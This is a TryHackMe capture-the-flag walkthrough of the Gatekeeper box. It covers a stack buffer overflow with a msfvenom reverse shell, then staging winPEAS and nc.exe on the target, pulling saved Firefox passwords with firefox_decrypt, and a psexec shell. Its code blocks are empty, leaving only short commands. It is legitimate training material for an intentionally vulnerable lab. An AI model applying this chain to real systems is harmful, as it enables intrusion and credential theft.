Try Hack Me - Gatekeeper Walkthrough
Background
TryHackMe is similar to HackTheBox, VulnHub, and others. One of major differences in THM compared to others is the more gamified approach to tackling boxes. I don’t have any experience with some of the other options, but have thus far found the difficultly ramp on THM to be what I was looking for. Lastly, I recommend watching through some of the John Hammond videos that go through some of the TryHackMe boxes.
Every box on THM has a theme, the Gatekeeper theme revolves around finding and exploting a buffer overflow in one of the exposed services. The first thing to do is to get the target machine started and connect the Kali machine to the VPN.
Diving In
Starting with an nmapscan, the box has a handful of ports open, including SMB and a suspicious 31337 port. Using nc to connect to 31337 and sending some input gets a reply of “Hello [input]!!!” - it looks to be some sort of simple echo service.
A quick test with python -c "print 'a'*1024" causes the connection to end, likely crashing the program. This is likely why trying to immediate connect after sending the breaking payload fails to connect. The service running on 31337 has likely crashed and has to restart.
Next up is to see what enum4linux has to find. After letting it run for a bit and digging through the output, it show that there’s a share available with the name of Users. Time to try logging in with smbclient //<ip>/Users as an anonymous (password-less) user. Given that it was successful and poking around a bit shows that there’s a gatekeeper.exe that we can download.
Now for the fun part, it’s time to start digging into what the gatekeeper.exe does. As a general safety practice, random executable should never be run on your real machine. So, starting up a Windows VM and pulling over gatekeeper.exe and giving it a quick run shows that it’s the same sort of program as the one running on port 31337 - and that it does actually crash with the excessive length input.
Next fire-up Immunity Debugger and searching for All referenced Strings it is possible to find the format string for the Hello %s!!!, putting some break points around there, starting the program and then connecting to it with nc let’s us start working through what’s going on. Looking into the assembly it’s clear that the Hello %s!!!'s buffer is only 128 characters, yet we can provide a buffer of any length. As much, it should be possible to exploit the overflow and take control over EIP.
Time for a quick dive into the assembly of the vulnerable function, this output is from Immunity Debugger, which is nice enough to provide some basic comments:
|
|
After sending a variety of inputs, looks like it’s possible to control the EIP of a particular function with a payload of 146 characters (147-150 is the EIP). With control over EIP it should be possible to determine an address to jump for the shellcode. Immunity Debugger comes with the ability to execute python scripts to make it easier to find what’s needed. In this particular case mona, a swiss army knife that will make our lives easier. First up is to use mona to hopefully find a module that isn’t applying ASLR using !mona modules. In this particular case, it turns out that the gatekeeper.exe is what we need:
Now that we know what module we can use, next is to figure out what to replace the EIP with. Before we get to the exact address to use, now is a good time to explain that a good technique for dealing with buffer overflows is to use jmp esp. Since we cannot rely on an address being predictable, we’ll instead overwrite the return address to some a point in a library or executable that contains a jmp esp. This roughly looks like the following:
|
|
The key here is that our payload overflows the EIP/RET address and then continues to overflow the shellcode into the extended stack pointer space. Once the RET pops the 4 bytes off for the jmp esp, it means that the esp now points directly to the start of the shellcode. So once the jmp esp is executed, it’ll just continue on to the shellcode. With that out of the way, it’s time to use mona to find the jmp esp instruction. There are a few different ways to accomplish this, however I’ve found the most straight forward version to be: !mona jmp -r esp. More detailed information can be found here: exploit-db write up on bufferoverflows and bypassing memory protections.
This gives two possible address that have the instructions needed:
|
|
This gives us the formula of: <146 characters> + <addr of jmp ESP> + <nop sled> + <shellcode>. The use of the nop sled, while strictly isn’t necessary, does give a bit of wiggle room to make sure the jmp esp will lands where it needs to and always allow for successful execution of shellcode.
Next up is generating the actual shellcode. This is where msfvenom comes into the picture. Since the aim of these is to gain more experience rooting boxes without meterepter, we’ll just use a simple shell_reverse_tcp.
There’s one more thing to note here: bad characters. bad characters are those that cause our shellcode to become invalid, either because they cause the input to not be entirely consumed or are explicitly filtered out by the targeted application. A typical example of this is \x00, especially with string input as it’s the null terminator. So before we can generate our final payload, some care will need to be taken to identify these bad characters.
Queue python, we can generate a payload to send it to the server and work through eliminating characters that will mess up our shellcode.
Quick note: I’ll be using pwntools, while it’s not required, I like some of the functionality offered by it, especially the logging.
|
|
After letting this run for a bit, it prints out the following: [*] Got these bad chars: \x00\x0a. So, now that the bad characters have been identified, it’s finally time to build the shellcode payload using msfvenom. Specially, we’ll have msfvenom output some python to make copy and pasting a bit quicker, using the shikata_ga_nai encoder and filter out \x00\x0a.
|
|
With the shellcode created, it’s now time to craft our exploit for getting a shell, and ultimately our foothold on Gatekeeper:
|
|
Start up a nc on the attacking machine, and then launch the exploit. Once the shell connects, it’s time to figure out the next steps. I’ll admit I’m still fairly new to this world, but it seems like after a foothold has been established the next step is to gather information and look for any obvious ways of PrivEsc. So this is where WinPEAs comes into the picture.
On the attacking machine, fire up the SimpleHTTPServer (python -m SimpleHTTPServer) in a directory that has the winPEAS.bat. While we are at it, make sure nc.exe is also in that directory - keep in mind that in more “realistic” environments, nc.exe would likely set off some alarms.
Now on the shell on the victim machine grab both using powershell:
|
|
Also with that shell, in the current directory, the first flag can be found in user.txt.txt.
Now it’s time to kick off winPEAs.bat and see if there’s something there to get us the privs needed to get to root flag. After letting winPEAs finish running it doesn’t look like there’s anything too obvious to use to escalate. So time to do some manual digging, the C:\Users folder does reveal that there are two accounts: natbat, and mayor. It looks like mayor is ultimately where we need to get to. Lastly, something else that caught my eye in the natbat user’s directory a file named Firefox.lnk.
Without anything obvious from winPEAs, checking exploit-db for every running process and service, digging through most of the readable contents on the machine and coming up with no clear way to make forward progress - I was at a bit of a loss as to what to do. I’d love to be able to say the answer randomly came to me, or I had a random epiphany, however there was none of that. Instead I had to go looking for some hints in other guides - and that’s when it became obvious as to what I had missed at the beginning. In fact, the inclusion of the Firefox.lnk was a hint as to where to go next. It turns out that browsers on machines are great resources for getting saved credentials and that it’s fairly easy to do so.
The trick here is to use firefox_decrypt. It allows for “recovery” of saved passwords. The goods in this particular case can be found in C:\Users\natbat\AppData\Roaming\Mozilla\FireFox\Profiles\.... Using nc.exe, I transferred the needed files over. On the attacking machine using firefox_decrypt was trivial, since there was no master password set:
|
|
With the password, use impacket‘s psexec.py to spawn a shell and grab the root flag:
|
|
This box was a bit of an eye opener since it never even occurred to me to look into the files from the Browsers - however now that I’ve done so I’ll be adding it to my list of things to check for in the future.